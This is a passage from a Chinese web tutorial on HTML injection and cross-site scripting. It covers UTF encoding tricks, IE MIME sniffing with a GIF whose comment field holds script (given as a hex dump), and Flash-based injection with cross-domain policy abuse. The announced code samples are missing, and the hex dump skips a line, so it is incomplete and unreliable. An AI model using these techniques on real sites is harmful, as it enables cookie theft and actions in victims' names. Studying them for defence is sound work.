注意,这是一种不常见的攻击,因为用户一般不会打开自动选择编码技术选项。当然,也存在其他的利用字符编码可变长度的UTF编码攻击技术,但是这要求对UTF有着深入广泛的理解,所以它超出了本文的讨论范围。然而,这个问题说明其它编码(例如MIME类型)的疏漏也是能引起HTML注入的。
八、利用MIME 类型不匹配来进行HTML注入
IE具有许多令人惊讶的未公开特性,例如,IE7 以及之前的版本尝试加载一个图像或者其它的非HTML的响应并且失败时,它会将该响应作为HTML对待。为了弄明白这个情况,我们可以创建一个文本文件,并包含下列内容:
之后,将其保存为alert.jpg,然后在IE的URL地址栏中或一个iframe中装载的这个“图像”,这就会导致这里的JavaScript被执行。
注意,如果该文件是从一个图像标签加载的话,它就不会作为脚本执行了。
一般说来,当您试图上载这样的一个文件到一个图像托管服务时,该服务将拒绝这个文件,因为它根本就不是一个图像。但是图像托管服务通常情况下会忽视文件的扩展名,而只通过文件的幻数(开始几个字节)来确定文件类型。
因此,攻击者可以避开它,方法是用GIF注释中的HTML来创建一个GIF图像,然后将这个GIF保存为.jpg文件扩展名的文件。下面是一个单像素的GIF文件,如下所示:
00000000 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff |GIF89a……….|
00000010 ff ff ff 21 fe 19 3c 73 63 72 69 70 74 3e 61 6c |…!.. .|
00000030 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b |,………..D..;|
将其命名为test.jpg,并在IE中加载它,这会导致执行这段JavaScript。这也是注入Flash跨域政策的一种好方法。只要把Flash安全策略的XML内容放入GIF注释,并保证这个GIF文件不包含扩展的ASCII字符或者字节NULL即可。您还可以把HTML注入到未压缩的图像文件(诸如XPM以及BMP文件)的图像数据部分,而不是注解中。
九、使用Flash进行HTML注入
在大多数HTML注入情形中,攻击者可以注入任意的HTML。举例来说,攻击可以注入一个对象和/或嵌入一个标签来加载该域上的Flash应用程序。 下面是一个例子:
这里的HTML有些繁琐,但是它将JavaScript应用程序具有的控制权赋予一个Flash应用程序,例如(经过 ExternalInterface类)读取Cookie、(经过ExternalInterface类)改变web页面外观、(经过XML类)读取用户 私人数据以及(经过XML类)以受害者的名义建立HTTP请求。
然而,Flash应用程序有时候会提供更多的功能。例如,flash应用程序可以通过Socket类创建原始的套按字连接。这允许攻击者构造他们的完整的HTTP数据包(包括通过ExternalInterface类窃取Cookie)或者连接到电脑允许的其它端口上。
注意,Socket连接只能建立到达恶意脚本所源自的域的连接,除非攻击者为完成攻击还反射了一个不安全的跨域策略文件。
有些开发人员通过把响应的MIME类型设置为text/plain或者除text /html以外的任何东西来防止AJAX响应被注入HTML。HTML注入将无法进行,因为浏览器不会把响应解释为HTML。然而,Flash并不关心跨 域策略文件是哪种MIME类型,所以攻击者有可能使用AJAX响应来反射一个不安全的跨域策略文件。
这允许恶意的Flash应用程序以受害者名义向有弱点的Web应用程序发送请求,读取该域上的任意的页面,并创建到达该域的套按字连接。这种类型的攻 击的威胁相对较弱,因为恶意的Flash应用程序不能窃取Cookie(但是它仍然可以以用户的名义来完成任何动作),而且它不能在受害的用户前模仿成应 用程序,除非恶意的Flash应用程序将用户重定向到一个攻击者控制下的域。
然而,到目前为止,HTML注入所能做的最邪恶的事情还是在受害用户目前把自己装扮成Web应用程序,当然,通过其它方法也可以达到此目的,比如反射一个不安全的跨域策略文件,并使用ActionScript的XML类发送HTTP的GET和POST请求并且读取响应。 在下一节中,我们描述攻击是如何作恶的。
十、结束语
在浏览器中已经建立了一些安全措施——即同源策略和Cookie安全模型。此外,一些浏览器插件,诸如Flash Player、Outlook Express 以及Acrobat Reader等,带来了更多的安全问题和安全措施。然而,如果攻击者可以强迫用户执行源自特定域的JavaScript的话,这些额外的安全措施总是倾向于削弱同源策略的力量。
跨站点脚本攻击(XSS)技术能够强迫用户执行攻击者以受害者名义在某个域上选择的脚本,如JavaScript、VBScript、ActionScript,等等。XSS要求某个域上的Web应用程序能够提供(即供应、返回)被攻击者所控制的字符。
因此,攻击者可以向页面注入代码,而这些代码将来会在这个有弱点的域的上下文中执行。而本文将介绍跨站脚本漏洞利用的过程,并对HTML注入进行深入分析;我们将在下篇中详细介绍跨站脚本的危害,以及攻击者是如何诱骗受害者的,以及针对跨站脚本攻击的防御措施。
0 条评论。